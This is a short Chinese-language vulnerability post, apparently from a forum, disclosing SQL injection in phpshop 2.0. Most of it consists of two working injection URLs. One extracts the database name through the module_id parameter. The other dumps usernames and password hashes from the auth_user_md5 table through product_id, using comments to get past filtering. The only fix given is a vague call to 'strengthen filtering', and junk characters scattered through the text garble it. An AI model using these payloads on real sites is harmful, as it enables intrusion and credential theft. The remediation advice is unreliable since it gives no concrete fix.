phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
. g8 V- j' N8 M
: A8 D0 w$ a* _' ]. n2 C作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
  a: O& V$ i4 H2 F  P测试地址: windows 7 / ubuntu
, I- V+ Z9 s0 D' n  c: x) y
  s; m% ^9 b( i/ B4 B0 C0 T
5 A. A# J# M- C! VSQLi p0c:

* v9 P; d8 V  [- f==================
/ T# w* J; p$ |- m/ O/ c
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
8 i5 G, M  S6 f9 R" {! D& dunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

* F3 F' ]) Z% ?http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
* I( v8 J; t0 |3 P9 F4 L
. o/ `8 O  }; N) e( S修复：
' G5 K% ?' x5 Z* t* L加强过滤
0 H+ s/ B6 O4 N' @( M. D​

  [$ K4 z4 P. h+ l$ |